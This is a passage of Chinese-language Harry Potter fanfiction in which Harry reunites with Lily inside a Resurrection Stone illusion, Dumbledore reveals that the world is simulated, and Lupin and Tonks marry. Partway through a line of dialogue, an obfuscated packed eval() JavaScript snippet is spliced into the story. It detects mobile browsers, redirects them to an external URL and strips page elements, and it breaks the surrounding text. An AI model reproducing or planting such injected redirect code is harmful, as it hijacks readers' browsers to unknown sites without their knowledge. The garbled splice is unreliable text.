继续忠实地记录着现实里后来发生的事。哈利看见了自己入校,看见了自己与奇洛的战斗,看见了自己把蛇怪的毒牙狠狠钻进里德尔的日记,看见了自己呼唤出那头银色的守护神,看见了自己与小巴蒂的对峙,也看见了神秘事物司一瞬间破碎成片的水晶球,也看见了闪电光临的塔楼,看见了冰湖上的宝剑,看见了斯内普的眼镜,那双眼睛在说: Always…… 哈利伸手去触摸这些现实,却在手指与相片接触前的最后一秒感受到一阵雷击穿过身体。哈利仔细检查这一面墙,不知道那阵雷击是对照片的保护,还是正在遗忘的斯内普用身体的痛苦把自己的意识拉回真实里。 在另外一面墙上,几行字正在慢慢浮现。那是在真实世界里与他们有所关联的所有人的名字,有的名字被打上圈,大部分被圈起的名字上又加了一道杠。唯一没被划掉的名字是今天斯内普一行的目标: 佩妮·德思礼。 哈利突然不敢残忍地逼迫自己想象,在自己一无所知的时候,在小天狼星、卢平、唐克斯、弗雷德开始遗忘的时候,斯内普一个人,挣扎着为撕扯开这个世界的窗做出过多少努力。 哈利在想明白这一点的那一刻无法自制地痛哭流涕。 所以,他又怀疑了他一次。 哈利起身,关门,向着女贞路4号的方向奔跑。他的老师在那里,他那被误解千万次却仍千万次爱人的老师在那里。 他跑向他的老师。 他将站在他的老师身边。 他将毫不犹豫地拔出魔杖,和他的老师并肩战斗在一起。 即使佩妮姨妈在这个世界里有三头六臂。 即使不会魔法的佩妮姨妈为了那一份不甘心在这个世界里赋予自己无穷的魔力。 即使…… 不必去换那么多被假设的即使 他已决议同虚无与谎言战斗到底。 直到。 他看见了那头漂亮的红头发。他看见了那双漂亮的绿眼睛。 “妈妈!” 15. 推翻还是接受 哈利觉得自己被一双香香的、甜甜的、软软的手臂轻轻拥抱在怀里。 那一瞬间,他不想去管正在流泪的西弗勒斯·斯内普,也不想去在意正激动地跑向这边的小天狼星和卢平。什么复活石,什么现实,什么等待被破解的幻境,都被抛到了脑后。 时间近乎停滞。 哈利只知道,自己被妈妈抱在怀里,这一刻他已经在现实世界里想象了十八年,在幻觉世界里等待了十五年。他小心地屏住呼吸,不希望鼻翼之间呼出的气体扰乱这一刻的温馨。 “妈妈……” 那双花瓣一样的手轻轻抚摸哈利乱蓬蓬的脑袋,带着芬芳的一个吻轻轻印在他的额头;温柔的绿眼睛里盛着另一对绿眼睛,那里头有浓稠的思念在涌流。 哈利想要哭泣,可是眼泪忘记了流动的方式;他哭不出来,只是向小婴儿一样扯着妈妈的衣袖: “妈妈,我想你……” 想你很久了。 一直在想你。 莉莉·伊万斯蹲下来,双手捧起跟自己丈夫有九分相似的脸庞: “哈利,我说不是我,你相信吗?” 哈利慌乱地点点头,他的嘴巴一张一合,似乎想为自己匆匆赶来的行为做一番解释。他想说他并不知道佩妮姨妈就是妈妈假扮的,他想说他要是早知道这一点会拼着永远留在这里的风险把斯内普他们拦在蜘蛛尾巷巷子口。 可是他又突然意识到,其实他并不是不可以早知道。房间里的金红色窗帘,桌子上的水果味馅饼,那辆把他送到火车站的德思礼家的车,箱子里突然多出的签了名的许可。 莉莉·伊万斯在悄悄而又细腻地,把这么多年来哈利一直渴望的母爱递到了他的手上。 也在悄悄而又细腻地,把自己的身份讲给他一个人听。 “所以,从邓布利多来接我那天开始,妈妈你就已经来到我身边了吗?” “是的。即使是在这样一个世界里,邓布利多那聪明的大脑也一直保持高速运转,他一下子就认出了我并不是佩妮———我自认为我的表演没有纰漏,你说是不是,哈利?邓布利多当时说出的那句‘莉莉还活着’真是是一个不小的惊吓,好在他并没有在你的面前揭穿我。” 邓布利多在他们的第一次照面里说过的那句话大剌剌闯入哈利的脑海: 麻瓜可不知道这可爱的小糖果叫什么好听的名字。 哈利的舌头又泛起了那颗柠檬雪宝糖的味道。他这才意识到邓布利多调侃自己的同时也调侃了莉莉·伊万斯。 “难怪邓布利多教授一定要我暑假的时候回到女贞路来。” 莉莉笑着点点头:“哈利,我是规则以外的人,这个世界的规则限制不了我,一定程度上我可以在这里随心所欲。我甚至知道这个世界的操纵者是谁———我避开了他的觉察,偷偷溜进来陪你长大一次———只是我不能跟你透露这个世界的秘密,我担心这会让他发现我的存在。但我相信你,哈利,我的儿子,你亲手揭开面纱的那天会到来的。” “你会一直陪着我吗?” “对的哈利,我说过,我会陪你到最后。” 像一桶冷水猛地淋在身上,哈利打了一个激灵。他的手上并未拿着金色飞贼,他的周围也没有出现禁林,但哈利从与母亲重逢的喜悦里冷静下来;他很快意识到自己眼前横亘着一个难题: 离开?还是留下。 现实世界里已经再找不到莉莉·伊万斯的身影。 …… “莉莉,詹姆是变成了弗农的样子,还是达力的样子?他怎么还不出来和我们见面呢?他该不会是害怕我们这些老朋友嘲笑他那狼狈的伪装吧?” “詹姆没来到这里,”莉莉依然微笑着,“小天狼星,你在这个世界见不到他。这也关乎个人选择。说来好笑,像他这样勇敢了一辈子的人,还是决定胆小这一次。” …… 万圣节的假期结束,哈利回到霍格沃茨。他沉浸在甜蜜的纠结里往宿舍走,迎面撞上了一个人。 卢娜·洛夫古德。 “真巧,卢娜,在这里遇见你。万圣节过得好吗?” “不巧,”卢娜难得严肃,“我是专门来找你的。” “你知道吗?你只是半漂浮状态了!” 哈利觉得有点好笑:“卢娜,我听不懂你在说什么。” 卢娜不说话,微微凸起的眼睛默默盯着哈利。她的睫毛一次不眨,就好像从第一次睁开那天开始,这双眼睛就不再会闭上。 哈利想起了猫。夜里,猫的瞳孔总是比旁的生物更圆更大些。 卢娜突如其来的严肃让哈利收起了轻松的神色,带着一点疑惑等待卢娜接下来的话。 可是疑惑似乎会传染,哈利没听到卢娜解释“漂浮”的意思———他以为这又是些什么类似于“犄角兽”一类的事物,却眼见着卢娜的眼里也晕染开一种迷蒙的色彩。 “你看不见吗?哈利。” “看见什么?” “看见活着的大家都是漂浮在空中的呀!” 哈利在听见“活着”这个词的一瞬间大惊失色。还没等他张口问出点什么,卢娜就施了一个隐身咒,然后拽着他飞快地跑到大厅。哈利看见了赫敏,又险些撞倒罗恩,卢娜从袍子里扯出她那副造型奇特的眼镜,不由分说硬给哈利戴上,哈利就看见她在自己面前慢慢悠悠地飘起来了———准确地说,所有霍格沃茨依然活在现实里的学生,无一例外都漂浮在空中;卢娜继续拽着哈利往楼上走,来到教师办公室,眼见除了斯内普,所有的老师都在空中飘来飘去。 而哈利自己呢?虽然他还是处于漂浮状态,一只脚却已经很靠近地面了。 “哈利,我起先并不明白这是为什么:我按我舒服的方式戴上眼镜的时候,我总是觉得世界颠倒着;而当我将眼镜调转一个方向,我看到的世界就变成了这个样子。” “我知道这个世界或许有什么地方不对劲,但我想不明白那种不对劲的点是什么。直到我们一起进了冥想盆,我发现在那里我可以按我舒服的方式戴上眼镜。” “哈利,冥想盆里的世界才是真正的世界,对吗?” 哈利点点头。还没等他开口,卢娜就继续说: “我比照了冥想盆里的世界,发现漂浮在半空里的人都还在那个世界里活着。可是哈利,从万圣节回来,你就跟原来的样子不一样了。在你身上发生了什么?” “卢娜,先别说这个,你能记得冥想盆里发生了什么?可是你为什么从来没有告诉我?” “我和纳威说过,可他似乎无法记住我刚刚和你说过的这些,也无法记住我跟他讲的我们曾经的经历,只对跟伏地魔有关的内容稍稍有些印象。我一开始以为你和纳威的情况是一样的,直到你开始教我们守护神咒。” “哈利,在这个世界,摄魂怪并不存在,你又是怎么学会的守护神咒呢?” 哈利佩服卢娜的敏锐,也无比欣喜在终于在这个茫茫漠漠的世界里终于找到他的伙伴。他们两个散步一样从楼梯的第一级爬到最高一级,在盘旋上升的过程里哈利把他通过斯内普知道的关于这个世界的讯息共享给卢娜听。 他也开始尽可能详细地回忆在万圣节前后发生的事,线索一条条编织到一起,一切都指向一个地点: 女贞路四号。 “哈利,我猜测, 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“想啊。而且我知道我会回去的。那个世界还在等着我不是吗?” “可是我今天见到妈妈了……她在这里……她的亲吻、她的爱在这里……卢娜,你能明白我吗?在见到妈妈之前,我心里那根弦一直是绷着,我一直很努力地寻找回去完成使命的方法。就像从在现实里看完斯内普的记忆开始我逼着自己走向禁林,在这里我又逼着自己走向迷宫的出口……可是,我突然不想这样……” “没关系的哈利,你只是累了,在这里或者回宿舍去睡上一觉———” “卢娜,我……” 我知道我肩上依然沉甸甸的使命。 我知道还有很多人在等我。 我明白的,我是他们最后的指望…… …… 这个世界没有要报的仇恨、要战的敌人、要克服的恐惧…… 但若留在这里,便不能再握住真实,终困囿于虚无。 哈利问自己:人的经历究竟是由什么决定的呢?意识可以脱离物质单独存在于世间吗?就像那个著名的讨论,梦里的经历是否也算得上经历,那么,从此停下脚步,抛开现实里流着血的嘶吼与咆哮,在复活石构建出的世界里走过一生,是否也算得上在世上活过一遭呢? 感受是真实,情感是真实,就连记忆也开始回归真实。从虚假的世界观里苏醒之后,在这个世界里生活的哈利,是否也是哈利本身呢? 若是,则何为真?若假,又何以为假。真实的哈利真实地经历这个世界的一切,直到垂垂老矣,甚至渐渐忘去:此为真?此为假? 没有现实里的记忆的罗恩赫敏,其经历又应该给予承认或否定呢? 哈利清醒地迷惑着。掀起心里这场台风的蝴蝶,在情感的基底里轻快地扇着翅膀。那是一种奢望: 奢望着,和莉莉·伊万斯一起生活。 …… “必须要走吗?” 卢娜塞给哈利一枚硬币。 “哈利,给自己一点时间,当你希望做出选择的那一天,就抛起这枚硬币,一面去,一面留,你会找到答案的。” “哈利,你一定要记住,不管在哪个世界,都有愿意陪着你到最后的人。我们与你同在。” …… 两个星期后,哈利约着卢娜再次来到塔楼。 就在硬币抛起之前,塔楼下突然出现了一簇簇攒在一起的灯光。霍格沃茨里头,有学生在快步往大厅的方向走。 邓布利多召集所有人到大厅。 16. 推翻“假如”的第三枪 大厅的桌子已经被撤去,偌大的空间里挤满各式各样的人。越过四大学院学生的头顶,哈利甚至看到了魔法部的官员,还有一些古老的巫师家族成员。 “声如洪钟。” 站在台上的邓布利多做了一个保持安静的手势,躁动的人群渐渐收敛了声响。大厅顶上漂浮的一千只蜡烛屏着呼吸闪着光,魔法绘制的夜空静谧得似乎不曾见过一点纷纷嚷嚷。 “很抱歉这么晚把大家召集到霍格沃茨,”邓布利多被放大的声音里是前所未有的严肃,“我在一次偶然中察觉到我们所身处的世界里存在一些缝隙,所以花了五年时间穿行在世界的各个角落寻找更多的蛛丝马迹,最后得出两个结论。我想,你们都应该很希望且很需要知道它们。” “诸位,我接下来的话请你们务必认真听好:” “第一,我们所处的世界是一个纯意识模拟的幻觉世界。这里的每一个人都不是物质的实体。有人操纵了一颗名叫复活石的石头,使我们的意识都被困在这里。” “第二,神秘人在现实里真实存在。但与他对抗并一次次拯救所有人的不是纳威·隆巴顿,而是———” 邓布利多的眼睛突然从半月型镜片后面扫过来——— “哈利·波特。” 人群又无法控制地泄露出窃窃私语,很多双眼睛不加掩饰地瞟向哈利和纳威所处的那一边。 “嘿托马斯,我没听错吧?” “哦伙计,你和我听得一样清晰。” 邓布利多不得不再次出身维持大厅里的秩序,使人群的注意力重新回到他的身上: “我现在要宣布两项决议———这也是我与福吉部长达成的共识: 第一,霍格沃茨面向所有学生增设一门大脑封闭术课程,这门课程作为必修由大脑封闭术大师斯内普教授负责教授。 第二,全体巫师从今天起放下所有成见,紧密团结在一起以找到复活石的操纵者,解放被困在这里的意识,以回到现实中去! 霍格沃茨将不惜余力,为第二项决议的达成提供一切可以提供的支持。” …… …… 城堡外淋着一场雨。雨水里混着各种事物的气息。不同人的心思也揉在这场雨里,悄悄地来,悄悄地敲击大地。 散会之后,学生们一边在级长的催促里往宿舍走,一边三三两两聊着天。公共休息室里的炉火烧得很旺,映得坐在扶手椅上哈利的脸颊红得发亮。同学们看向哈利的目光都变得有些奇怪,带着些敬畏,又带着些愧怍,但似乎受到邓布利多今晚那番话的冲击,都不是很敢和这位刚被荣耀加冕的救世英雄说话。 最后的最后,还是自认为和哈利有交情的马尔福难得地带着点讨好意味凑上来: “哈利,你觉得操纵者是谁?” “你说,纳威会不会就是那个操纵者?” “你说,这么费力模拟出的世界,最大收益者是谁?” “纳威可是被当成英雄称颂了那么多年……” “如果这些荣誉物归原主,过去的五年你会过得怎么样? “不是我说,格兰芬多还是改不了它的令人讨厌。” “我要是你,现在就要冲去格兰芬多宿舍给隆巴顿两巴掌。让他赶紧解除这黏糊糊的幻觉,让被困在这里的人该干嘛干嘛去!” 仿佛是为了配合马尔福的话,一些很难被注意到的银白色粉末从窗子里飘进城堡,萦绕在正热烈讨论今夜的信息爆炸的学生周围。它们仿佛是要寻找什么似的,也并不在空气里停留,跟着飘飘转转排成细细的一长条,就沿着过道走廊飘向某个方向,仿佛一只又一只追着风的痕迹远去的风筝,正在被一根又一根线拉扯,要回到那些放风筝的人们手里去。 跟着,各个宿舍里D·A的成员都感觉到一股热流流经身体的每一条筋络,一些冻土深处的植株在热流的呼唤里渐渐复苏,绿色的嫩芽冲撞着坚硬的土层,沉睡了五年之久的叶片在地面上舒展开来。 “这位同学的蟾蜍逃走了,你们包厢有看见过它吗?” “狒狒的屁股———我的天哪,这太好笑了!” “真想喝火焰威士忌———要不是我们没成年的话……” “‘洞听’,我说‘洞听’啊弗雷德。” 一把又一把的钥匙伸进了锁孔,一座又一座的花园打开了门。这些曾经跟着哈利学习大脑封闭术的年轻人,率先提起脚走进里迷雾深处,在毫无光亮的暗夜里摸索着往前探索,终于走到迷雾散开时、黑暗浮升处,那里水面光洁,群山无疑。 D·A的学生捡起了地面上散开的拼图,找回了被遗忘已久的回忆。他们带着终于找回的自身,穿行于弯弯绕绕的迷宫,最后找到出口,那里洞天石扉,訇然张开,天光乍现,万物明朗。 纳威站在那里,什么话也没说。 但谁也没有向他拔出魔杖。 …… 一个星期前,有求必应屋。 哈利说:“大脑封闭术的难度或许是有一点太高了。我们或许可以换换口味先尝试守护神咒。” 哈利正要把咒语写在空中,已经把自己封闭了半个月的纳威突然走到他的身边。 “哈利,我有一些话,要跟你,还有大家说。” “虽然听起来可能有点奇怪,但我从小就被一个点困惑:所有人都告诉我,我刚出生时就曾经与神秘人对抗,但不仅我自己对这段经历没有一点记忆,我每次问我的奶奶,她也讲不清楚细节,往往用一些别的话题把它模糊过去。” “也请大家努力想想,关于神秘人,除了‘纳威曾与之一战’,你们还知道什么别的信息?他来自哪里?做过什么事情?为什么战胜他就可以被全世界视为英雄?” “我一直想不明白这些事;且总有什么,在关节的时刻阻挠我想起这些 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“但我渐渐意识到这种幻想的可笑性,因为决定哈利是我们所爱所敬所跟随的那个哈利的,并不是那道伴着常人无法忍受的痛苦而来的伤疤。在我正在回忆起的现实里和哈利做同学的日子里,让我们一次次感动的是哈利因为这份荣光背负的烦恼,是他义无反顾奔赴那些底色沉重的使命。 同学们,人总是渴望自己是勇敢的,也总是渴望自己是有名气的,而那些勇敢的又有名气的人往往注定扛起使命的重量。现实里的战斗使我懂得,羡慕谁甚至嫉妒谁的生活并没有意义。对于每一个人而言,对于每一个经历过战与火的洗礼的人而言,真正的通往荣光的道路只有一条: 操起被意识逼迫的勇敢,在克服怯懦里认清自我,然后在心里坚守被自己的价值观认同的自我,全心全意,永不停歇,走向一个又一个自己认为正确的选择———我们的人生都将因此而光荣。” “同时,伙伴们,我们需要再一次团结起来,一起战胜新的对手,拯救我们自己于虚无的水火!我们要醒来,我们必须完整地活着,我们必然响当当地立足飞云与黄土之间,像年轻的森林创造自由需要的空气,像巨大的立柱撑起无数彷徨者的尊严!要带着或许被无数碎片拼凑而成的人格,缝合世界裸露已久的裂痕;要用因钢铁般的战斗而变得残缺的温柔,抚平彼此的创痕;用不肯丢下的最沉重的行囊[1],换山顶上不再动摇的巨石[2]————我相信,我们终将再次胜利!” 纳威脸上泛起羞涩,显然,他似乎并不习惯这种发出呼吁的角色。哈利给了他一个大大的拥抱。紧接着,有求必应屋里的学生一个接一个围过来抱在一起,尽管他们的记忆在那时还没有归位,但他们都相信内心的感觉。 他们的心在说: 纳威是我们值得信赖的伙伴。 一直都是。 17. 推翻“假如”的团队作战计划 “斯内普教授,你能不能教我们怎样提取记忆?” …… …… 进入冥想盆检查彼此的记忆是否有残缺或者遮掩的人以找出复活石的操纵者———这是在D·A开会时,经赫敏提出并有全体成员一致通过的解决方案之一。赫敏的思路很简单,当大家都已经通过大脑封闭术想起一切,唯一那个藏匿真实记忆的人就是复活石操纵者的嫌疑人———或者,大家直接在冥想盆里找到复活石操纵者作案的全过程。 “只是这样的话,花的时间不就太长了吗?”哈利问。 “确实也是,”赫敏耸耸肩,“但这或许是找到嫌疑人最靠谱的方法———毕竟在记忆里做的任何修改,都会很快被察觉。” 哈利想起了斯内普记忆里包裹着“泥巴种”那个单词的雾。 “没有人可以在记忆面前有所隐瞒,哪怕是自欺欺人也不可以。” “在想出更好的办法之前,我们先按赫敏说的来吧!” “希望我们都能通过记忆的考验———毕竟,向昔日的伙伴拔出魔杖总是一件令人难受的事。” 有求必应屋里的大家都彼此看看,心里默默点头。现实里并肩作战的场景还历历在目,如果在幻觉世界里被迫刀剑相向,大家心里都不好受。 “或许我们可以分成若干组,各组自行进入冥想盆互查———假如嫌疑人不在我们里面———这是最好的情况———虽然这同时意味着我们得花更长时间更大功夫———我们再想办法一起去查验其他人。” “就这么说定了,我去跟邓布利多说。” D·A的例会解散,成员互相打过招呼然后离开。哈利顺着人流走出有求必应屋———尽管或许这个世界里,已经熟练掌握各种黑魔法防御咒的他们没有使用有求必应屋的必要,他们还是习惯聚在这里讨论重要的事,似乎只是待在这里就能找到一种人心聚齐的温暖感觉———向着邓布利多的办公室走去。一排大雁掠过秋风,在窗外留下斜行的影子;窗内,四个学院的学生混在一起走着,那其间绿色的身影虽少,但好歹有那么一两点镶嵌在红色、蓝色、黄色之间。再次见到石兽,哈利心里泛起怀念的感觉———现实里,“柠檬雪宝糖”很难再成为通过这里的口令,架子上也不会再出现福克斯,校长从椅子里挪到了画像里,尽管他的面容依然和从前一样亲切。 石兽让路,办公室里依然不见邓布利多的身影。哈利料想邓布利多一定也在用他的方式与这个世界的种种限制对抗,才在他们周围唤来一阵雨,带来心灵深处记忆种子的苏醒。 哈利,又一次同他最尊崇的老师并肩作战着。就像隧道两头,各自发力,贯通之时,终会再见。 哈利想了想,走出校长办公室的大门,转身沿着旋转楼梯回到走廊,走向教室办公室的方向。斯内普待在那里,嘴里似乎正嚼着一颗似乎是邓布利多给的糖果。他看到哈利来,扯起嘴角笑了笑,拉开抽屉抓出一把糖,不由分说塞到哈利怀里。 哈利一边狼狈地把糖装进兜里,一边问:“斯内普,你能不能教我们怎样提取记忆?” 他又犹豫了几秒钟,在“斯内普”后面加上了“教授”这个称呼: “斯内普教授,教我们使用摄神取念的方法吧!” …… …… 记忆归位以后,一切似乎都回到了从前的模样,使人愈发弄不清现实与幻觉的区别———除了所有人都还在幻觉世界里活着以外。 最先找到哈利的是罗恩。 “你说,哈利,我们必须回到现实世界里去吗?” “在这里,你不是孤儿,纳威的父母没有精神失常,赫敏不必抹去家人的记忆,卢平和唐克斯也能陪着小泰勒长大,邓布利多可以一直守护霍格沃茨,你和斯内普也不至于刚冰释前嫌就阴阳相隔,还有小天狼星也依然和我们在一起。” “我也不会失去哥哥,”罗恩看了眼不远处正嘻嘻哈哈扭在一块的双胞胎,“乔治也不会和世界上另一个他离散。” “一切都是最好的样子!就连马尔福也没有那么讨厌……”———斯莱特林球队的其他人正在跟格兰芬多球队的其他人打招呼,虽然明天有一场比赛要打,但他们一点也不介意他们的找球手和对方的守门员亲密无间地聊天———“我们为什么还要回去呢?” “因为这里的一切都是假的。”赫敏毫不客气的声音从身后传来。她抱着胳膊,向很快脸色就涨得和头发一样红的朋友挑起眉毛:“罗恩,你不是小孩子了,怎么能沉溺在这种软弱里。” 赫敏随意地在哈利和罗恩旁边坐下。秋末冬初,天气已然变冷,城堡面前的草地虽未被白雪覆盖,却只露出些枯黄色。他们三个支着胳膊,随意地半躺在草地上,享受阳光里酝酿的那一层需要用心体会才能感受到的暖意。哈利掏出一把柠檬雪宝糖。每个人嘴里都短暂地绽开一个拥有夏日的季节。 “邓布利多不是说过吗?复活石并不能使人真正复活。这个世界里那些复活的人,到底是什么物质组成的我们谁也说不清楚。” “可是他们也有原来的记忆呀?” “这样就能表明他们是一个人吗?罗恩,假如我制造出一个和你一模一样的躯壳,然后提取出你的所有记忆共享给这个躯壳,这个新的罗恩,难道也是你吗?” “假设这个拥有记忆的罗恩和你同时出现,面对同一件新发生的、你们都没有经历过的事的时候,你保证你们俩会做出同一个选择吗?”赫敏从兜里掏出一枚纳特,“就比如我抛起这枚硬币,罗恩,你能保证,你和你的复制体能同时选择硬币的正面吗?” 罗恩似乎被说服了,他伸伸懒腰,任由身子躺在草地上,眯起眼睛,把胳膊曲起来放在眼睛上: “我想明白了赫敏……但你让我再软弱一分钟,一分钟后我就站起来和你一起寻找跟复活石有关的资料———我不会像火焰杯那次那样在图书馆睡着然后被你赶出去了!” 哈利和赫敏也陪着他们的朋友一块,任由自己的意志软弱最后的一分钟。在这一分钟里,他们飞快地释放了对斯内普、邓布利多、卢平、唐克斯、小天狼星、弗莱德、莉莉·伊万斯、詹姆·波特以及一切因伏地魔牺牲的亲友的怀念,然后重新睁开眼,向着未被阳光照到的城堡内部走去。哈利兜里依然躺着卢娜给他那块硬币,但它不必在被抛起;哈利把手指伸进兜里摸了摸硬币坚硬的棱角,他已经明白自己希望哪一面向上。 “你说,我们会成 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193141|181117||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 功吗?” “会的,我们总会胜利的。何况,这一次连斯莱特林也加入进来,我们是四个学院组成的队伍,我们牢不可破,我们所向披靡。” 赫敏和罗恩相视一笑,他们看到从走廊路过的卢娜,高兴地跟她挥挥手。 哈利看着伙伴们高兴的样子,没忍心告诉他们现实里邓布利多最后的计划。 那又怎么样呢? 世界会因此和平。 其他人不必在沉溺幻境。 幻境的美好终会照进现实。 只是那个现实里,或许就没有哈利了…… …… …… 例会结束,哈利独自前去寻找邓布利多时,卢娜拦住从有求必应屋往格兰芬多宿舍走的赫敏和罗恩。 “你是说,哈利离开幻境的心动摇了?” 卢娜并没有告诉两人那天和哈利谈话的细节,只是直接说出了她的结论。她对那枚硬币能给哈利的决定带来怎样的影响并无把握,所以直接来找现实里最熟悉哈利的伙伴。 “确实,其实我也可以理解哈利……毕竟他一直想见到他的父母,这个世界也算全了他的一番执念。” “可是他不能留在这里!我虽然不明白漂浮与不漂浮的区别,但如果哈利的漂浮状态彻底解除了,或许他的意识就会真的困在这里,现实里的他也无法再醒来……” “卢娜,‘漂浮’是什么意思?你看到的世界和我们有什么不同吗?我想看看你说的‘漂浮’。” 卢娜把眼镜递给赫敏。摘去眼镜后,赫敏的表情也变得严肃起来。 “哎呀,先都别丧着脸,‘漂浮’什么的我们先放到一边———不就是要让哈利的意志坚定起来嘛?我有办法!”罗恩冲两位女孩挤挤眼睛,“我们来演一场戏!” “我们这样,然后这样,这样……” …… …… 斯内普很赞同赫敏的计划,但他认为这个计划仍有可以改进的地方。他给邓布利多写了信,不久之后,霍格沃茨的黑魔法防御课教师改由西弗勒斯·斯内普担任,该门课程仅教授大脑封闭术和记忆提取两种魔法;魔药课则由在邓布利多的强迫中自愿回到霍格沃茨的霍拉斯·斯拉格霍恩负责授课。(至于粉色癞蛤蟆呢?她被打着“特殊时期特殊安排”旗号的邓布利多、麦格教授、韦斯莱双子客气地请出了霍格沃茨。) 哈利问过斯内普: “为什么不直接教我们摄神取念呢?这不是更直接且更令操纵者不可防备吗?” 斯内普回答: “哈利,我不希望你们任何一个人为了使用这个魔法玷污自己的心灵———即使在幻觉世界里,摄神取念也是充满“恶”的魔法。” 剩下的话斯内普没有说出口: 对于已经学会大脑封闭术的你们来说,摄神取念又有什么用呢? 这段记忆,必须自愿交出才行…… 当然,格兰杰不愧是年级最聪明的女巫———她建议并非毫无用处:开设这门课能够扰乱操纵者的视线,给正在执行他自己的计划的邓布利多提供天然的掩护。 斯内普桌上留着一张糖纸。邓布利多传信斯内普:不要妄自行动,一切等我安排。 18. “假如”的世界里也有牢不可破的誓言 卢平和唐克斯要补办一场婚礼。 ———这是现实里,因为与伏地魔的战斗,他们还未完成的事。 学会提取记忆,按斯内普的话说,不是说说就能做到的———他们还需要时间。既然一时半会儿解决不了问题,索性都趁这个机会给紧张的心放一个假,也给彼此思念的人一个一起享受光阴的契机———毕竟,离开这里后等待他们的是残酷的战斗———和旧友再难聚齐的现实。 凤凰社的所有人都决定参加婚礼。 哈利、赫敏、罗恩一起走在草坪上。天气难得晴朗,韦斯莱夫人给草坪施了一个小小的魔法,使原本枯黄一片的衰颓重新焕发勃勃的绿意生机。他们穿过一行又一行白色椅子,恍惚间仿佛回到了比尔与芙蓉婚礼那天:大战还没有完全开始,亲人还未完全离散,人们享受着暴风雨前最后的宁静,恰似享受每一个平凡的日子时他们对生活的珍视。 “好像有谁施了一个名叫‘千人复活,万物复苏’的魔咒。尽管翻遍图书馆的所有书,你也不会找到关于这个虚构的魔法任何的记载。”赫敏微笑着和她的伙伴说。 “如果现实里也是这样就好了。一切都像新长出来的草芽一样:毫不掩饰地展露着盎然的向生力。” “会有这一天的,我们会看到世界复苏的那一天的。等那一天到来时,世界上再没有人们不敢提及的名字,房屋上空再也不会出现骇人的黑魔标记,孩子们的成长里没有父母会被迫缺席,黑魔法防御课教师也能陪着学生们完成一年又一年的学习。” “等我们想办法挣开这里的束缚,回到现实大干一场!我们一定能赢来我们所理想的现实!” 壮志雄心、乐观向上,这些美好的词重新回到这群年轻人身上。 不远处,金妮正在布置桌子上的酒和甜点,并趁着韦斯莱夫人不注意偷吃了一块巧克力蛋糕。她看到三人组说说笑笑地走来,高兴地迎上去给了哈利一个巧克力味的拥抱。 “嘿,金妮,为什么不先给你亲爱的哥哥一个温暖的拥抱呢?” 金妮白了罗恩一眼,赫敏和哈利在一旁哈哈大笑。金妮自然地挽住赫敏的胳膊: “我们走!不跟他俩一般见识!” …… 天气真的很好。云一朵一朵飘在空中。韦斯莱先生拿胳膊碰了碰金斯莱: “嘿伙计,这次你不需要派那头漂亮的狮子来发出警报了吧?” “今天我的守护神只有一个功能,那就是替我向新人道喜!” 这两位魔法部的官员端起酒杯,庆祝的酒液随着一次爽朗的碰杯溅出杯外。 “如果伏地魔从来都不存在该有多好!” “老伙计,即使没有伏地魔,也可能有抬头魔。人性就是这样一种东西,贪婪与欲望总是在人世间作恶。唯一重要的是,我们人性中善的一部分能够压住恶的部分,我们中的勇敢者在危难面前能够挺身而出。希望伏地魔的到来对巫师世界是一种洗礼,使那些陈旧的不合时宜的迂腐被洗去洗净;希望分裂已久的巫师世界能够通过这一次并肩重新团结在一起。我们不能忘记这场战斗的惨痛,却也因为这些惨痛重新审视自身、珍视彼此。真正的伟大不是否认和逃避恶的存在,而是恶在充满正义与善之处无处遁形、无可潜逃。” “是的老伙计!胜利终将战胜邪恶,我们一起为那一天的到来努力!” …… 台上,卢平和唐克斯在亲友的欢呼里接吻;来观礼的人都起身举杯,与新人同欢。一对又一对的爱人在接吻,一双又一双的情侣在拥抱。人们都沉浸在无限浓郁的爱意里,即使他们都不知道此时的欢乐能够持续多久。 新人跳完第一支舞,其他的朋友就都涌向舞池中央。卢娜踮起脚,在人群里旋转,白色的裙子扬起就像温柔的光晕。赫敏牵起罗恩的手,金妮的手搭在哈利的肩上。人们尽情庆祝,人们举杯欢唱,韦斯莱兄弟恶作剧用品店出品的烟花一支一支飞到天上。一切都是被幻想过无数次的样子,一切都是梦里的美好。 小泰勒也被抱了出来,他的头发已经从绿色变成了火焰一样的红色,两只小手一抓一抓,显示出前所未有的兴奋。莉莉、小天狼星、邓布利多、隆巴顿夫妇甚至斯内普排着队一个接一个上前,一人给了他一个临别吻。接着上前的是韦斯莱一家、哈利、赫敏、卢娜、纳威……没人有把握能陪着小泰勒长大,没人知道现实里那场大战的结果,甚至没人知道,当一切归于现实,他们是否还有再次见面的机会。所以他们选择在这里,给最小的孩子,送上最郑重的祝福。 从此之后,再无遗憾,再不软弱,再不停下,再不后退。 至胜方归。 …… …… 最后的最后,卢平和唐克斯手挽着手,来到他们的儿子面前。人群自觉散开,把空间留给这终将分别的一家三口。唐克斯的眼睛里饱含着泪水: “莱姆斯,你说,小泰勒会生他的爸爸妈妈的气吗?” “不会的。他会为他的父母感到高兴。” “希望他能像他的爸爸一样理智。” “像他的妈妈一样善良。” “希望他继承格兰芬多的勇气,希望他传承霍格沃茨的荣耀。希望他好好长大,希望他别太孤独;希望他有人结伴,希望他与人同行。” “希望他一生快乐,再不被邪恶侵扰;希望他父母的牺牲能换来世间的太平,让他可以永远无忧无虑。” “希望他从此不经历抗争苦,希望他从此不洒下离别泪,希望他的未来总是常欢笑,希望他缺失的父母爱能因其他爱而被弥补。” “不,唐克斯,泰勒不缺少父母之爱。相信我们的朋友、亲人会告诉泰勒,他的父母是为了什么牺牲的;他们会告诉他,他的父母如何深沉地爱着他;他们会告诉他,他因这个世界上凡人最伟大的情感而诞生,而孤独,而温暖,而前行———那是夫妻之爱,是父母之爱,是跨越种族的小爱,是对世间的大爱……” 